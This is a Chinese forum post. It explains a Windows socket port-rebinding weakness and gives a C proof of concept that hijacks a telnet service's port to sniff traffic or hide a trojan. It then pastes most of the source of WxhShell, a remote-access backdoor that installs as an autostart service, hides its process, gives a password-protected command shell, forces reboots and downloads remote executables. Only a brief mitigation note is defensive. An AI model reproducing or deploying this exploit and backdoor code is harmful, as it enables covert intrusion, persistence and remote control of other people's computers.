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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !`F^LXGA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Kw ^tvRt'*  
v"a.%" oN8  
  saddr.sin_family = AF_INET; O:3DIT1#>  
i(@<KH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bZsg7[: C  
z@n779i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !u=,bfyH  
N`%f+eT(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Um'r6ty  
GcYT<pwN6  
  这意味着什么?意味着可以进行如下的攻击: :Y;\1J<b1  
LQrm/)4bF5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ghpk0ia%d  
eEG]JH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gELb(Y\ak  
<"XDIvpc%L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F"M$ "rC]  
%/x%hs;d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Bpw<{U  
,"W.A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X}gnO83  
4C{3>BE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *SW,pHYnLb  
(/Mc$V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <vrx8Q*6  
~DD/\V  
  #include ,yF)7fN  
  #include ~:@H6Ke[  
  #include 4j*}|@x  
  #include    VuY.})+J:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   qRFN@ID$  
  int main() ev3x*}d0  
  { wfdFGoy(  
  WORD wVersionRequested; F~Li.qF  
  DWORD ret; Yc$|"to  
  WSADATA wsaData; )0Lq>6j9  
  BOOL val; 2Ar<(v$  
  SOCKADDR_IN saddr; i~;8'>:|,M  
  SOCKADDR_IN scaddr; 4|(?Wt)5  
  int err; j.6kjQN  
  SOCKET s; 2*|]#W  
  SOCKET sc; UdGoPzN  
  int caddsize; \x!>5Z Y  
  HANDLE mt; LWI~m2  
  DWORD tid;   @FTi*$Ix  
  wVersionRequested = MAKEWORD( 2, 2 ); cNVdGY%&  
  err = WSAStartup( wVersionRequested, &wsaData ); "Wm~\)t(  
  if ( err != 0 ) { DHAWUS6  
  printf("error!WSAStartup failed!\n"); y AWDk0bx  
  return -1; ST3qg6Cq2J  
  } Vo%d;>!G\;  
  saddr.sin_family = AF_INET; H@zk8]_P  
   _x!pM j(A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w#e'K-=  
AUC< m.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >$y >  
  saddr.sin_port = htons(23); d}ZH Y[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {ZcZ\Q;6  
  { dc05,Bz  
  printf("error!socket failed!\n"); {OOt+U!  
  return -1; =(ZGaZ}  
  } 0 OBkd  
  val = TRUE; ~K9U0ypH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .*j+?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2]+.8G7D%  
  { -)oBh  
  printf("error!setsockopt failed!\n"); a5-\=0L~  
  return -1; '!R,)5l0h  
  } T?Y\~.+99  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _#C}hwOR>X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 U]|q4!WE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IfcFlXmt2  
,<1*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6"7qZq  
  { +2SX4Kxu  
  ret=GetLastError(); Iqsk\2W]a3  
  printf("error!bind failed!\n"); qC )VT3  
  return -1; .N=hA  
  } F(<8:`N;G  
  listen(s,2); />C~a]}  
  while(1) +!v RU`  
  { M2}<gRL*}J  
  caddsize = sizeof(scaddr); z(3"\ ^T  
  //接受连接请求 8|({ _Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MxRU6+a  
  if(sc!=INVALID_SOCKET) D@^ZpN8r  
  { uNbA>*c4M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /<0D E22  
  if(mt==NULL) $T6Qg(p  
  { IMza 2  
  printf("Thread Creat Failed!\n"); GcR`{ 3hO  
  break; c*dww  
  } A ? M]5d  
  } tWn m{mF  
  CloseHandle(mt); 8-:k@W  
  } zc+;VtP|8  
  closesocket(s); >A&@Wp1  
  WSACleanup(); F-^HN%  
  return 0; `VtwKt*  
  }   <+gl"lG  
  DWORD WINAPI ClientThread(LPVOID lpParam) ` a>vPW  
  { v=tj.Vg  
  SOCKET ss = (SOCKET)lpParam; &._!)al  
  SOCKET sc; a[n$qPm}  
  unsigned char buf[4096]; `?JgHk  
  SOCKADDR_IN saddr; ~7pjk  
  long num; kA__*b}8UK  
  DWORD val; sg{D ?zl  
  DWORD ret; n#Roz5/U  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X:lPWz!7{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L]d@D0.Z  
  saddr.sin_family = AF_INET; W(h8!}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .gGvyscdH;  
  saddr.sin_port = htons(23); gE&W6z0fJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G%!\ p:w  
  { vo(NB !x$  
  printf("error!socket failed!\n"); |QLX..  
  return -1; aMQjoamz  
  } A Vm{#^p[(  
  val = 100; ~lqGnNhh 7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U@MP&sdL  
  { k-V I9H!,  
  ret = GetLastError(); jJ!-hg4?]  
  return -1; ).C!  
  } Wk\@n+Q {]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^Pd3 7&B4V  
  { _}OJPahw  
  ret = GetLastError(); GQ2PmnV +  
  return -1; @b\ S.  
  } .vS6_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1?|6odc  
  { HhmVV"g  
  printf("error!socket connect failed!\n"); vt@Us\fI  
  closesocket(sc); `t0f L\T  
  closesocket(ss); Q)`gPX3F  
  return -1; uxyTu2L7  
  } H'{?aaK|t  
  while(1) [!@oRK=~  
  { `QdQ?9x{F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *xg`Kwl5Kl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9xn23*Fo  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ceZ8} Sh  
  num = recv(ss,buf,4096,0); K3:|Tc(  
  if(num>0) T_?nd T2  
  send(sc,buf,num,0); 4iNbK~5j  
  else if(num==0) 99 "[b  
  break; hNnX-^J<o  
  num = recv(sc,buf,4096,0); pP* ~ =?  
  if(num>0) rA1r#ksQ  
  send(ss,buf,num,0); u=;nU(]M '  
  else if(num==0) !?o$-+a|  
  break; 2l@"p!ar=  
  } =HY1l}\  
  closesocket(ss); @f{_=~+  
  closesocket(sc); 8ts+'65|F  
  return 0 ; ,LW+7yD  
  } c5E#QV0&v~  
[OZ=iz.  
rN1U.FRe/  
========================================================== - SS r  
HCG@#W<wc  
下边附上一个代码,,WXhSHELL B>Cs&}Y!  
xs'kO=  
========================================================== O R<"LTCL  
4su_;+]  
#include "stdafx.h" s`=/fvf.  
'B (eMnLg  
#include <stdio.h> LuP?$~z  
#include <string.h> hiRR+`L%  
#include <windows.h> Y^6[[vaj2  
#include <winsock2.h> hyb +#R  
#include <winsvc.h> Q"|kW[Sg  
#include <urlmon.h> ("E!Jyc!  
%gu$_S  
#pragma comment (lib, "Ws2_32.lib") ) p<fL  
#pragma comment (lib, "urlmon.lib") AB"1(PbG  
ZSPgci  
#define MAX_USER   100 // 最大客户端连接数 (+UmUx=  
#define BUF_SOCK   200 // sock buffer LR3`=Z9  
#define KEY_BUFF   255 // 输入 buffer ~#"7,rQp  
)ojx_3j8  
#define REBOOT     0   // 重启 N xb\[  
#define SHUTDOWN   1   // 关机 E-sSRt  
cc41b*ci$  
#define DEF_PORT   5000 // 监听端口 R6q4 ["  
z0 2}&^Zzk  
#define REG_LEN     16   // 注册表键长度 /&$"}Z6z  
#define SVC_LEN     80   // NT服务名长度 Wk`bb!P_  
1GG>.RCP  
// 从dll定义API ^r>f2 x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x^)g'16`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^p 2.UW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 19F ;oFp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CYtjY~  
> 'aG /(  
// wxhshell配置信息 d $fvg8^  
struct WSCFG { "($Lx  
  int ws_port;         // 监听端口 9jO`gWxV8*  
  char ws_passstr[REG_LEN]; // 口令 djsz!$  
  int ws_autoins;       // 安装标记, 1=yes 0=no "H>r-cyh  
  char ws_regname[REG_LEN]; // 注册表键名 ZT) !8  
  char ws_svcname[REG_LEN]; // 服务名 Cf0|Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *$i;o3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GS ;HtUQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]8$#qDS@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qr)v'aC3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <.,RBo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5/B#)gm  
tYs8)\{  
}; Z+Yeg  
:7p9t.R<$h  
// default Wxhshell configuration UrO=!Gk  
struct WSCFG wscfg={DEF_PORT, #V.ZdLo(  
    "xuhuanlingzhe", YBX)eWslK  
    1, +I|Rk&  
    "Wxhshell", dqqnCXYuW  
    "Wxhshell",  vv+TKO  
            "WxhShell Service", CifA,[l34  
    "Wrsky Windows CmdShell Service", i@P 9EU  
    "Please Input Your Password: ", ;>NP.pnA)  
  1, 9wL!D3e {Q  
  "http://www.wrsky.com/wxhshell.exe", q*\NRq  
  "Wxhshell.exe" :KEq<fEI  
    }; Q_ctX|.  
GI4?|@%vD!  
// 消息定义模块 <57g{e0I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \V]t!mZ-}l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 807al^s x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bqSMDK  
char *msg_ws_ext="\n\rExit."; h`=r )D  
char *msg_ws_end="\n\rQuit."; (tepmcf  
char *msg_ws_boot="\n\rReboot..."; L e*`r2  
char *msg_ws_poff="\n\rShutdown..."; p-.Ri^p   
char *msg_ws_down="\n\rSave to "; NX?}{'f  
5XDgs|8  
char *msg_ws_err="\n\rErr!"; c$9sF@K?  
char *msg_ws_ok="\n\rOK!"; R7lYu\mA  
rfYP*QQY  
char ExeFile[MAX_PATH]; G.E[6G3  
int nUser = 0; aX|g S\zx  
HANDLE handles[MAX_USER]; zm> >} 5R  
int OsIsNt; !X-9Ms}(d  
$; ?c?n+  
SERVICE_STATUS       serviceStatus; C>^,*7dS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wb b*nL|P  
kP@H G<~  
// 函数声明 W!t{rI72  
int Install(void); rn;<HT  
int Uninstall(void); /iplU  
int DownloadFile(char *sURL, SOCKET wsh); +jUgx;u,  
int Boot(int flag); ]DO&x+Rb  
void HideProc(void); lr,q{;  
int GetOsVer(void); Z:!IX^q;}n  
int Wxhshell(SOCKET wsl); Mm5c8[   
void TalkWithClient(void *cs); )i;un.  
int CmdShell(SOCKET sock); _6ZzuVv3/  
int StartFromService(void); x|8^i6xB  
int StartWxhshell(LPSTR lpCmdLine); .46#`4av  
vv+km+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E, GN|l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W RF.[R"  
Lbcy:E*g  
// 数据结构和表定义 SAR= {/  
SERVICE_TABLE_ENTRY DispatchTable[] = J96uyS*  
{ [@//#}5v  
{wscfg.ws_svcname, NTServiceMain}, 6hO-H&r++  
{NULL, NULL} EkjgNEXq  
}; \/ErPi=g  
V^WU8x  
// 自我安装 5Q W}nRCZ  
int Install(void) {=67XrWN1  
{ /2xSNalC  
  char svExeFile[MAX_PATH]; 5MR,UgT  
  HKEY key; YlTaN,?j  
  strcpy(svExeFile,ExeFile); yI&9\fn  
\|.7-X  
// 如果是win9x系统,修改注册表设为自启动 Huc|6~X  
if(!OsIsNt) { Ke!'gohv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rh66_eV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k=$AhT=e}n  
  RegCloseKey(key); H]&gW/=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Or8kp/d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E$A3|rjnoN  
  RegCloseKey(key); ~Wei|,w'<  
  return 0; /`3 #4=5-  
    } .1#kD M  
  } iG#}`  
} vQ1 v# Z  
else { QTH7grB2v  
|0g{"}%  
// 如果是NT以上系统,安装为系统服务 2}vNSQvG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MG{l~|\x)  
if (schSCManager!=0) I-DXb M  
{ 8PBvV[  
  SC_HANDLE schService = CreateService Z+4D.bA  
  ( T7[NcZ:I  
  schSCManager, yz8jU*H  
  wscfg.ws_svcname, $,ikv?"L  
  wscfg.ws_svcdisp, 4t*so~  
  SERVICE_ALL_ACCESS, 6@V~0DG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v7,$7@$:\  
  SERVICE_AUTO_START, 6~xBi(m`  
  SERVICE_ERROR_NORMAL, MjD75hIZ  
  svExeFile, l$XPIC~H  
  NULL, Rko M~`CT  
  NULL, XKS8K4"  
  NULL, 2' ] KTHm  
  NULL, @kxel`,$e  
  NULL IeP WOpj3  
  ); TB!(('  
  if (schService!=0) T^:fn-S}=  
  { 4CrLkr  
  CloseServiceHandle(schService); O"Q7Rx  
  CloseServiceHandle(schSCManager); sOpep  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <%P2qgz5  
  strcat(svExeFile,wscfg.ws_svcname); D +RiM~LH8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xr%#dVk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ln!A:dP}c-  
  RegCloseKey(key); [9o4hw  
  return 0; G^;>8r  
    } ?!'Zf Q:zK  
  } /.1. MssQM  
  CloseServiceHandle(schSCManager); yK%ebq]  
} @7 <uMasfp  
} (Un_!)  
,r8Tbk]m  
return 1; \r {W  
} `$TRleSi  
T.m mmT  
// 自我卸载 A/}W&bnluD  
int Uninstall(void) j Ux z  
{ +>\id~c(  
  HKEY key; MTOy8 Im  
1:M@&1L Yp  
if(!OsIsNt) { 2%u;$pj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V[nQQxWp=  
  RegDeleteValue(key,wscfg.ws_regname); i+{yMol1  
  RegCloseKey(key); aZ|=(]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5ZY<JA3  
  RegDeleteValue(key,wscfg.ws_regname); ye}p~&  
  RegCloseKey(key); >e,mg8u6$  
  return 0; $I9qgDJ)  
  } &--ej|n  
} )#iq4@)|g  
} bm% $86  
else { }"^'% C8EX  
9DQa PA6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VQ#3#Hj  
if (schSCManager!=0) tmUFT  
{ kwpK1R4zs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BV#78,8(  
  if (schService!=0) [*:6oo98'  
  { v <Kmq-b  
  if(DeleteService(schService)!=0) { TuDE@ gq(  
  CloseServiceHandle(schService); H1n1-!%d  
  CloseServiceHandle(schSCManager); 4m)OR  
  return 0; jPZaD>!  
  } 67SV~L#%O  
  CloseServiceHandle(schService); 26vp1  
  } {gbn/{  
  CloseServiceHandle(schSCManager); L;Z0`mdz  
} :Bu2,EL*O  
} L|@y&di  
)lk&z8;.=  
return 1; 0 &_UH}10  
} Vv1|51B  
?L&|Uw+  
// 从指定url下载文件 $-}e; VZb  
int DownloadFile(char *sURL, SOCKET wsh) *^%Q0mU[  
{ I/gjenUK  
  HRESULT hr;  -!W<DJ*  
char seps[]= "/"; OyV<u@[i  
char *token; @c9^q> Uv  
char *file; X4l@woh%  
char myURL[MAX_PATH]; &`0/CV  
char myFILE[MAX_PATH]; ABE@n%|`  
D(-yjY8aG  
strcpy(myURL,sURL); ;{h CF  
  token=strtok(myURL,seps); g<{xC_J  
  while(token!=NULL) Mi'8 ~J  
  { WOuEWw=  
    file=token; AdRX`[ik  
  token=strtok(NULL,seps); <\kr1qH H  
  } iu&wO<)+?  
l2N]a9bq@  
GetCurrentDirectory(MAX_PATH,myFILE); iY"l}.7)  
strcat(myFILE, "\\"); \%^%wXfp  
strcat(myFILE, file); ]BR,M4   
  send(wsh,myFILE,strlen(myFILE),0); U!U$x74D5  
send(wsh,"...",3,0); sBrI}[oyx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E dZ\1'&/9  
  if(hr==S_OK) gUyR_5q)8l  
return 0; !,V{zTR  
else 5waKI?4F  
return 1; "HE^v_p  
\+aC"#+0  
} 5onm]V]  
2^i(gaXUQ  
// 系统电源模块 g1t0l%_7^  
int Boot(int flag) ,U(1NK8o  
{ i[wb0yL  
  HANDLE hToken; &gzCteS  
  TOKEN_PRIVILEGES tkp; e[hcJz!D  
`{qG1  
  if(OsIsNt) { [JF150zr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g=I8@m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OS8q( 2z?s  
    tkp.PrivilegeCount = 1; (?nCy HC%g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _h}kp\sps  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `ZC<W]WYX/  
if(flag==REBOOT) { y!!2WHvE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L:@7tc.  
  return 0; +\v?d&.f0  
} Q7W>qe%4  
else { GnvL'ESa@M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bw\@W{a%q  
  return 0; O)vp~@ |  
} ;G%R<Z  
  } eq U ME  
  else { GvBHd%Ot  
if(flag==REBOOT) { 6? w0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +SwR+H)?  
  return 0; JQ"U4GVp  
} 8<Hf" M  
else { 5LOo8xN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,c NLkoN  
  return 0; KZ/=IP=  
} K'GBMnjD  
} /~3r;M  
H)n9O/u  
return 1; aA,!<^&}  
} 'q`^3&E  
cFJY^A  
// win9x进程隐藏模块 E~6c-Lw  
void HideProc(void) vh$%9ed  
{ %f]:I  
<_7*67{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P'_H/r/#  
  if ( hKernel != NULL ) 0\eIQp  
  { Y=Kc'x[,Zj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jbAx;Xt'=M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sIy^m}02  
    FreeLibrary(hKernel); `E>1>'  
  } .hifsB~  
Om5Y|v"*  
return; s=;uc] 9g  
} u?}(P_9  
b}"N`,0dO  
// 获取操作系统版本 }|pwz   
int GetOsVer(void) p9x(D/YP0  
{ 5rU[ T ir  
  OSVERSIONINFO winfo; OOo3G~2r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k=jk`c{<[  
  GetVersionEx(&winfo); S Em Q@1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) | AozR ~  
  return 1; N(Tz%o4  
  else s6@DGSJ  
  return 0; +8RgF   
} p"KFJ  
T: =lz:}I  
// 客户端句柄模块 fSokm4]vg  
int Wxhshell(SOCKET wsl) E S//  
{ !*7 vFl  
  SOCKET wsh; )84~ugs  
  struct sockaddr_in client; l`f/4vy  
  DWORD myID; N$U$5;r~`  
6;ixa hZV  
  while(nUser<MAX_USER) TOB]IrW  
{ UdpF@Q  
  int nSize=sizeof(client); q!|*oUW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zdYy^8V|z  
  if(wsh==INVALID_SOCKET) return 1; =\H!GT  
d^{RQ   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |Uc_G13Y{D  
if(handles[nUser]==0) (pv+c,  
  closesocket(wsh); X\bOz[\  
else *GL/aEI<$  
  nUser++; xHD=\,{ig  
  } 2#c<\s|C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ww], y@da  
R}*_~7r5  
  return 0; 8Dj c c z  
} *%%g{ 3$  
K<>oa[B9  
// 关闭 socket XovRg,  
void CloseIt(SOCKET wsh) YS/Yd[ e  
{ hoK>~:;  
closesocket(wsh); .y!<t}  
nUser--; 9_Be0xgJ3^  
ExitThread(0); 2AT5  
} H|3:6x  
Uq^#riq  
// 客户端请求句柄 zh8nc%X{  
void TalkWithClient(void *cs) Vex{.Vh,"  
{ Cv6'`",Yzm  
_V7s#_p  
  SOCKET wsh=(SOCKET)cs; x!5'`A!W%  
  char pwd[SVC_LEN]; {zQ8)$CQ  
  char cmd[KEY_BUFF]; L~lxXTG\  
char chr[1]; >\KNM@'KI  
int i,j; u{['<r;I  
1Q<^8N)pf  
  while (nUser < MAX_USER) { )u[emv$  
A kC1z73<  
if(wscfg.ws_passstr) { $4h5rC g0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ywGd>@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J}v}~Cv  
  //ZeroMemory(pwd,KEY_BUFF); \LR~r%(rM  
      i=0; &"&Z #llb  
  while(i<SVC_LEN) { =P't(<  
 zv0l,-o  
  // 设置超时 Yc_8r+;(  
  fd_set FdRead; p<2L.\6"  
  struct timeval TimeOut; 2 ^h27A  
  FD_ZERO(&FdRead); <m)$K  
  FD_SET(wsh,&FdRead); 7%Gwc?[x  
  TimeOut.tv_sec=8; J?? -j  
  TimeOut.tv_usec=0; g jDh?I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1OCeN%4]Qk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o<BOYrS  
?!A7rb/tj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ve}(s?hU5  
  pwd=chr[0]; _(%d(E2?  
  if(chr[0]==0xd || chr[0]==0xa) { <D<4BnZ(  
  pwd=0; [ 9 {*94M  
  break; I,>- tGK  
  } e:fy#,HEj{  
  i++; xS4w5i2  
    } 8m2Tk\;:  
*|%@6I(  
  // 如果是非法用户,关闭 socket =,spvy'"*C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nAW:utTB  
} )h"<\%LU  
8!O5quEc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uwzvbgup?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [$0p+1  
g!@<n1 L  
while(1) { q rJ`1  
n.'8A(,r3  
  ZeroMemory(cmd,KEY_BUFF); {C=NUK%?  
] o*#t  
      // 自动支持客户端 telnet标准   BLfTsNzmt  
  j=0; *scVJ  
  while(j<KEY_BUFF) { '\Giv!>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F U_jGwD  
  cmd[j]=chr[0]; ]R h#g5X  
  if(chr[0]==0xa || chr[0]==0xd) { Jj!vh{  
  cmd[j]=0; I4/8 _)b^  
  break; IHam4$~-  
  } '&x#rjo#  
  j++; .k,1f*%  
    } RDW8]=uM  
)97SnCkal  
  // 下载文件 `eE&5.   
  if(strstr(cmd,"http://")) { Y-kt.X/Z-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X 0WJBEE  
  if(DownloadFile(cmd,wsh)) |n+qMql'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sy:[T T!w  
  else LJd5;so-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); diJLZikk  
  } c`J.Tm[_u  
  else { <sWprR  
zKw`Md  
    switch(cmd[0]) { .a O,8M  
  u$DHVRrF<  
  // 帮助 Wvbf"hq  
  case '?': { kpJ@M%46  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UtPLI al  
    break; !}YAdZJ  
  } %`>nS@1zp  
  // 安装 ?I6fye7  
  case 'i': { <;vbsksZeH  
    if(Install()) f,h J~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h].<t&  
    else "$#xK|t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;YA(|h<  
    break; |SoCRjuCPM  
    } }YB*]<]  
  // 卸载 :o|\"3  
  case 'r': { \w/yF4,3<w  
    if(Uninstall()) jr)1(**  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $+P>~X)  
    else ?oVx2LdD|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xQ}pu2@d  
    break; F<n3  
    } ,F79xx9ufg  
  // 显示 wxhshell 所在路径 .Zn^Nw3  
  case 'p': { l==``  
    char svExeFile[MAX_PATH]; Z>QF#."m  
    strcpy(svExeFile,"\n\r"); +AR5W(&  
      strcat(svExeFile,ExeFile); 8J:}%DaxL  
        send(wsh,svExeFile,strlen(svExeFile),0); sF|5XjQ  
    break; JLnH&(O  
    } {K+i cTL3  
  // 重启 (KFCs^x7wG  
  case 'b': { C<NLE-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o C<.=2]  
    if(Boot(REBOOT)) g<l1zo`_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JSkLEa~<  
    else { K~c=M",mW  
    closesocket(wsh);  O{QA  
    ExitThread(0); Id_2PkIN$~  
    } r"C  
    break; SQ44  
    } ^Y=\#-Dd  
  // 关机 k3u "A_"c  
  case 'd': { G0/4JSH  
